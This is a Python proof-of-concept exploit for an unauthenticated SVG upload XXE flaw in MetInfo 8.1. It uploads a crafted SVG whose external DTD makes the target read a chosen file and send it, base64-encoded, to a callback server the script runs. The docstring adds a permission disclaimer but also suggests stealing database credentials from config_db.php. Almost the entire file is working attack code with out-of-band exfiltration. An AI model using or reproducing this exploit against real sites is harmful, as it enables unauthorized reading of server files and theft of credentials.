#!/usr/bin/env python3
"""
Manual confirmation helper for MetInfo 8.1 guest SVG XXE file read.

Default proof reads /etc/hostname through php://filter base64 encoding. Use only
against a system you own or have explicit permission to test.

i use a really jank way to determine the ip address of the callback machine, but it works, l m a o 
basically, make sure you run this boy on a server, the target has to be able to call back to your ip 
test it by yoinking database creds- 
python3 metinfo_guest_fileread.py http://URL/ --file /var/www/html/config/config_db.php
"""

from __future__ import annotations

import argparse
import base64
import os
import queue
import re
import socket
import sys
import threading
import time
import urllib.parse
import urllib.request
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


class CallbackState:
    def __init__(self, dtd_name: str, resource: str) -> None:
        self.dtd_name = dtd_name
        self.resource = resource
        self.events: "queue.Queue[tuple[str, str]]" = queue.Queue()

    def dtd_body(self, callback_base: str) -> bytes:
        dtd = (
            f'<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={self.resource}">\n'
            f'<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM \'{callback_base}/leak?x=%file;\'>">\n'
            "%eval;\n"
            "%exfil;\n"
        )
        return dtd.encode("utf-8")


def guess_local_ip() -> str:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
            s.connect(("8.8.8.8", 80))
            return s.getsockname()[0]
    except OSError:
        return "127.0.0.1"


def guess_public_ip() -> str:
    services = (
        "https://icanhazip.com/",
        "http://icanhazip.com/",
        "https://ifconfig.me/ip",
    )
    for service in services:
        try:
            req = urllib.request.Request(service, headers={"User-Agent": "curl/8.0"})
            with urllib.request.urlopen(req, timeout=6) as resp:
                ip = resp.read().decode("ascii", "ignore").strip()
            if re.fullmatch(r"[0-9A-Fa-f:.]+", ip):
                return ip
        except Exception:
            continue
    return guess_local_ip()


def normalize_target(value: str) -> str:
    value = value.strip().rstrip("/")
    if not value.startswith(("http://", "https://")):
        value = "http://" + value
    return value


def make_handler(state: CallbackState, callback_base: str):
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self) -> None:  # noqa: N802
            parsed = urllib.parse.urlparse(self.path)
            if parsed.path == "/" + state.dtd_name:
                body = state.dtd_body(callback_base)
                state.events.put(("dtd", self.client_address[0]))
                self.send_response(200)
                self.send_header("Content-Type", "application/xml")
                self.send_header("Content-Length", str(len(body)))
                self.end_headers()
                self.wfile.write(body)
                return

            if parsed.path == "/leak":
                qs = urllib.parse.parse_qs(parsed.query)
                value = qs.get("x", [""])[0]
                state.events.put(("leak", value))
                self.send_response(200)
                self.send_header("Content-Type", "text/plain")
                self.end_headers()
                self.wfile.write(b"ok")
                return

            self.send_response(404)
            self.end_headers()

        def log_message(self, fmt: str, *args: object) -> None:
            sys.stderr.write("[callback] " + fmt % args + "\n")

    return Handler


def multipart_upload(url: str, field: str, filename: str, content: bytes) -> tuple[int, str]:
    boundary = "----metinfo-confirm-%d" % int(time.time())
    parts = [
        f"--{boundary}\r\n".encode(),
        (
            f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'
            "Content-Type: image/svg+xml\r\n\r\n"
        ).encode(),
        content,
        f"\r\n--{boundary}--\r\n".encode(),
    ]
    body = b"".join(parts)
    req = urllib.request.Request(
        url,
        data=body,
        headers={
            "Content-Type": f"multipart/form-data; boundary={boundary}",
            "User-Agent": "metinfo-svg-xxe-confirm/1.0",
        },
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=20) as resp:
        return resp.status, resp.read().decode("utf-8", "replace")


def decode_leak(value: str) -> bytes:
    value = urllib.parse.unquote_plus(value).strip()
    value = re.sub(r"[^A-Za-z0-9+/=]", "", value)
    padding = "=" * ((4 - len(value) % 4) % 4)
    return base64.b64decode(value + padding, validate=False)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Confirm MetInfo guest SVG XXE by uploading a tiny SVG and capturing the exfil callback."
    )
    parser.add_argument("target", help="Target base URL or IP, for example http://192.168.1.50")
    parser.add_argument(
        "--callback-host",
        default=None,
        help="IP/host the target can reach back to. Default: public IP from icanhazip.com.",
    )
    parser.add_argument("--listen-host", default="0.0.0.0", help="Local bind address for callback server.")
    parser.add_argument("--port", type=int, default=19082, help="Local callback port.")
    parser.add_argument("--lang", default="cn", help="MetInfo language parameter.")
    parser.add_argument("--file", default="/etc/hostname", help="Benign readable file to confirm.")
    parser.add_argument("--timeout", type=int, default=20, help="Seconds to wait for callback.")
    args = parser.parse_args()

    target = normalize_target(args.target)
    callback_host = args.callback_host or guess_public_ip()
    dtd_name = "metinfo_xxe_confirm.dtd"
    callback_base = f"http://{callback_host}:{args.port}"
    upload_url = (
        f"{target}/app/system/entrance.php"
        f"?c=uploadify&a=doupimg&lang={urllib.parse.quote(args.lang)}&formname=file&type=1"
    )

    state = CallbackState(dtd_name=dtd_name, resource=args.file)
    server = ThreadingHTTPServer((args.listen_host, args.port), make_handler(state, callback_base))
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    svg = f"""<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
  <!ENTITY % remote SYSTEM "{callback_base}/{dtd_name}">
  %remote;
]>
<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">
  <text>confirm</text>
  <script xmlns="">x</script>
  <image href="http://127.0.0.1/not-used.png"/>
</svg>
""".encode("utf-8")

    print(f"[*] Target: {target}")
    print(f"[*] Callback: {callback_base} (listening on {args.listen_host}:{args.port})")
    print(f"[*] Resource: {args.file}")

    try:
        status, body = multipart_upload(upload_url, "file", "metinfo_xxe_confirm.svg", svg)
        print(f"[*] Upload HTTP status: {status}")
        print(f"[*] Upload response: {body.strip()[:500]}")
    except Exception as exc:
        server.shutdown()
        print(f"[!] Upload failed: {exc}", file=sys.stderr)
        return 2

    saw_dtd = False
    deadline = time.time() + args.timeout
    leaked = None
    while time.time() < deadline:
        try:
            kind, value = state.events.get(timeout=0.5)
        except queue.Empty:
            continue
        if kind == "dtd":
            saw_dtd = True
            print(f"[*] Target fetched DTD from callback server ({value})")
        elif kind == "leak":
            leaked = value
            break

    server.shutdown()

    if leaked is None:
        if saw_dtd:
            print("[!] DTD was fetched, but no exfil callback arrived.")
            return 1
        print("[!] No callback received. Check firewall/NAT and --callback-host.")
        return 1

    try:
        decoded = decode_leak(leaked)
    except Exception as exc:
        print(f"[!] Got exfil callback but base64 decode failed: {exc}")
        print(f"Raw value: {leaked}")
        return 1

    print("[+] Confirmed: target exfiltrated resource content.")
    print("[+] Decoded bytes:")
    sys.stdout.flush()
    sys.stdout.buffer.write(decoded)
    if not decoded.endswith(b"\n"):
        print()

    match = re.search(r'"path"\s*:\s*"([^"]+)"', body)
    if match:
        path = match.group(1).replace("\\/", "/")
        print(f"[*] Uploaded proof SVG path reported by target: {path}")
        print("[*] Remove that SVG on the target after testing if you have filesystem/admin access.")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
